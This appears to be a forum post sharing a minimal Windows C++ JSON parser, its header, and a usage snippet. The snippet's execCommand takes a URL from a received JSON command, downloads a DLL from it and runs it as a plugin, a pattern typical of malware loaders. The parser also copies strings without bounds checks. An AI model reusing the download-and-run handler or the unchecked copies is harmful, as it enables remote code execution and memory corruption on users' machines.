C++:
#include <windows.h>
#include "minijson.h"
#define ISSPACE(c) ((char)(c) == ' ' || (char)(c) == '\n')
#define SKIPSPACE(p) while(ISSPACE(*p))++p
parse_status parse_object(char *, char **);
parse_status parse_array(char *, char **);
parse_status parse_number(char *, char **);
parse_status parse_string(char *, char **);
parse_status skip_object(char **);
parse_status skip_array(char **);
parse_status skip_number(char **);
parse_status skip_string(char **);
parse_status skip_value(char **);
bool _isspace(int c)
{
return c == ' ' || c == '\t';
}
long int _atol(const char* string)
{
register long int result = 0;
register unsigned int digit;
int sign;
while (_isspace(*string)) {
string += 1;
}
if (*string == '-') {
sign = 1;
string += 1;
}
else {
sign = 0;
if (*string == '+') {
string += 1;
}
}
for (; ; string += 1) {
digit = *string - '0';
if (digit > 9) {
break;
}
result = (10 * result) + digit;
}
if (sign) {
return -result;
}
return result;
}
int _strncmp(const char * s1, const char * s2, size_t n)
{
while (n && *s1 && (*s1 == *s2))
{
++s1;
++s2;
--n;
}
if (n == 0)
{
return 0;
}
else
{
return (*(unsigned char *)s1 - *(unsigned char *)s2);
}
}
parse_status skip_value(char **top)
{
char *orig = *top;
char *p;
parse_status ret;
switch (**top) {
case '{':
ret = skip_object(top);
break;
case '[':
ret = skip_array(top);
break;
case '"':
ret = skip_string(top);
break;
case '-':
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
ret = skip_number(top);
break;
case 't': // true
if (!_strncmp(*top, "true", 4)) {
ret = PARSE_SUCCEEDED;
*top += 3;
}
else {
ret = PARSE_FAILED_TRUE;
}
break;
case 'f': // false
if (!_strncmp(*top, "false", 5)) {
ret = PARSE_SUCCEEDED;
*top += 4;
}
else {
ret = PARSE_FAILED_FALSE;
}
break;
case 'n': // null
if (!_strncmp(*top, "null", 4)) {
ret = PARSE_SUCCEEDED;
*top += 3;
}
else {
ret = PARSE_FAILED_NULL;
}
break;
default:
break;
}
if (ret != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
return PARSE_SUCCEEDED;
}
parse_status skip_object(char **top) {
char *p, *orig = *top;
parse_status ret;
if ((ret = parse_object(*top, &p)) != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
*top = p;
return PARSE_SUCCEEDED;
}
parse_status skip_array(char **top) {
char *p, *orig = *top;
parse_status ret;
if ((ret = parse_array(*top, &p)) != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
*top = p;
return PARSE_SUCCEEDED;
}
parse_status skip_string(char **top) {
char *p, *orig = *top;
parse_status ret;
if ((ret = parse_string(*top, &p)) != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
*top = p;
return PARSE_SUCCEEDED;
}
parse_status skip_number(char **top) {
char *p, *orig = *top;
parse_status ret;
if ((ret = parse_number(*top, &p)) != PARSE_SUCCEEDED) {
*top = orig;
return ret;
}
*top = p;
return PARSE_SUCCEEDED;
}
parse_status parse_object(char *beg, char **end)
{
if (*beg != '{')
return PARSE_FAILED_OBJECT;
char *p = beg;
char *tmp;
parse_status ret;
p++; // next to '{'
while (*p != '}') {
// key
SKIPSPACE(p);
if ((ret = skip_string(&p)) != PARSE_SUCCEEDED)
return ret;
p++; // next to closing '"'
SKIPSPACE(p);
if (*p != ':')
return PARSE_FAILED_OBJECT;
p++; // next to ':'
SKIPSPACE(p);
// value
if ((ret = skip_value(&p)) != PARSE_SUCCEEDED)
return ret;
p++;
SKIPSPACE(p);
// comma
if (*p != ',' && *p != '}') {
return PARSE_FAILED_OBJECT;
}
if (*p == ',') {
p++;
SKIPSPACE(p);
}
}
*end = p;
return PARSE_SUCCEEDED;
}
parse_status parse_array(char *beg, char **end)
{
if (*beg != '[')
return PARSE_FAILED_ARRAY;
char *p = beg;
parse_status ret;
p++; // next to '['
while (*p != ']') {
SKIPSPACE(p);
if ((ret = skip_value(&p)) != PARSE_SUCCEEDED)
return ret;
p++;
SKIPSPACE(p);
if (*p != ',' && *p != ']') {
return PARSE_FAILED_ARRAY;
}
if (*p == ',') {
p++;
SKIPSPACE(p);
}
}
*end = p;
return PARSE_SUCCEEDED;
}
parse_status parse_string(char *beg, char **end) // "[^"]*"
{
if (*beg != '"')
return PARSE_FAILED_STRING;
char *p = beg;
while (*(++p) != '"')
if (*p == '\\') p++;
*end = p;
return PARSE_SUCCEEDED;
}
parse_status parse_number(char *beg, char **end) // [0-9]+
{
char *p;
for (p = beg; ('0' <= (*p) && (*p) <= '9') || *p == '-'; ++p);
*end = p - 1;
if (beg > *end)
return PARSE_FAILED_NUMBER;
else
return PARSE_SUCCEEDED;
}
parse_status json_parse(const char *str, json_value_t *res)
{
char *p = (char*)str;
parse_status ret = PARSE_SUCCEEDED;
SKIPSPACE(p);
switch (*p) {
case '{':
res->type = JSON_OBJECT;
break;
case '[':
res->type = JSON_ARRAY;
break;
case '\"':
res->type = JSON_STRING;
break;
case '-':
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
res->type = JSON_NUMBER;
break;
case 't':
res->type = JSON_TRUE;
break;
case 'f':
res->type = JSON_FALSE;
break;
case 'n':
res->type = JSON_NULL;
break;
default:
ret = PARSE_FAILED;
}
if (ret == PARSE_SUCCEEDED) res->value = p;
return ret;
}
parse_status json_get_object(json_value_t json, const char *key, json_value_t *res)
{
if (json.type != JSON_OBJECT)
return PARSE_FAILED_TYPE_MISSMATCH;
char *p = json.value;
char *tmp;
int key_len = lstrlenA(key);
parse_status ret;
p++;
while (1) {
SKIPSPACE(p);
if (*p == '}') {
return PARSE_FAILED_NOT_FOUND_KEY;
}
if (*p == '\"' && *(p + key_len + 1) == '\"' && !_strncmp(p + 1, key, key_len)) { // found key
tmp = p + key_len + 2; // next to closing '\"'
SKIPSPACE(tmp);
if (*tmp != ':') return PARSE_FAILED_OBJECT;
tmp++;
SKIPSPACE(tmp);
return json_parse(tmp, res);
}
// skip until next key
if ((ret = skip_string(&p)) != PARSE_SUCCEEDED) {
return ret;
}
p++; // next to closing key '"'
SKIPSPACE(p);
if (*p != ':')
return PARSE_FAILED_OBJECT;
p++; // next to ':'
SKIPSPACE(p);
if ((ret = skip_value(&p)) != PARSE_SUCCEEDED) {
return ret;
}
p++;
SKIPSPACE(p);
// comma
if (*p == ',') {
p++;
}
SKIPSPACE(p);
}
}
parse_status json_get_array(json_value_t json, int idx, json_value_t *res)
{
if (json.type != JSON_ARRAY)
return PARSE_FAILED_TYPE_MISSMATCH;
char *p = json.value;
char *tmp;
parse_status ret;
p++;
while (idx--) {
SKIPSPACE(p);
skip_value(&p);
p++;
SKIPSPACE(p);
if (*p != ',')
return PARSE_FAILED_ARRAY;
p++;
}
SKIPSPACE(p);
return json_parse(p, res);
}
parse_status json_get_number(json_value_t json, long long *val)
{
if (json.type != JSON_NUMBER)
return PARSE_FAILED_TYPE_MISSMATCH;
char *end;
char buf[32];
int i;
parse_status ret;
if ((ret = parse_number(json.value, &end)) != PARSE_SUCCEEDED)
return ret;
for (i = 0; i <= end - json.value; i++) buf[i] = *(json.value + i);
*val = _atol(buf);
return PARSE_SUCCEEDED;
}
parse_status json_get_string(json_value_t json, char *val)
{
if (json.type != JSON_STRING)
return PARSE_FAILED_TYPE_MISSMATCH;
char *end;
int i;
parse_status ret;
if ((ret = parse_string(json.value, &end)) != PARSE_SUCCEEDED)
return ret;
for (i = 0; i < end - json.value - 1; i++) *(val + i) = *(json.value + i + 1);
*(val + i) = '\0';
return PARSE_SUCCEEDED;
}
C++:
#ifndef _INCLUDE_MINIJSON_H
#define _INCLUDE_MINIJSON_H
typedef enum {
PARSE_SUCCEEDED = 0,
PARSE_FAILED,
PARSE_FAILED_OBJECT,
PARSE_FAILED_ARRAY,
PARSE_FAILED_STRING,
PARSE_FAILED_NUMBER,
PARSE_FAILED_TRUE,
PARSE_FAILED_FALSE,
PARSE_FAILED_NULL,
PARSE_FAILED_NOT_FOUND_KEY,
PARSE_FAILED_TYPE_MISSMATCH,
} parse_status;
typedef enum {
JSON_STRING,
JSON_NUMBER,
JSON_OBJECT,
JSON_ARRAY,
JSON_TRUE,
JSON_FALSE,
JSON_NULL,
} json_value;
typedef struct {
json_value type;
char *value;
} json_value_t;
parse_status json_parse(const char*, json_value_t*);
parse_status json_get_object(json_value_t, const char*, json_value_t*);
parse_status json_get_array(json_value_t, int, json_value_t*);
parse_status json_get_number(json_value_t, long long*);
parse_status json_get_string(json_value_t, char*);
#endif // _INCLUDE_MINIJSON_H
От меня usage:
C++:
void execCommand(LPCSTR commandData, LONG commandLength) {
Network network;
char urlBuffer[32767];
char fileBuffer[32767];
char argumentBuffer[32767];
json_value_t json;
json_value_t jsonUrl;
json_value_t jsonFile;
json_value_t jsonArgument;
if (PARSE_SUCCEEDED == json_parse(commandData, &json)) {
if (PARSE_SUCCEEDED == json_get_object(json, "url", &jsonUrl) && PARSE_SUCCEEDED == json_get_object(json, "file", &jsonFile) && PARSE_SUCCEEDED == json_get_object(json, "arg", &jsonArgument)) {
json_get_string(jsonUrl, urlBuffer);
json_get_string(jsonFile, fileBuffer);
json_get_string(jsonArgument, argumentBuffer);
DWORD dwOutSize = 0;
LPBYTE lpDllBytes = network.winHttpDownloadFile(urlBuffer, fileBuffer, &dwOutSize);
runPlugin(lpDllBytes, dwOutSize, argumentBuffer);
_free(lpDllBytes);
}
}
}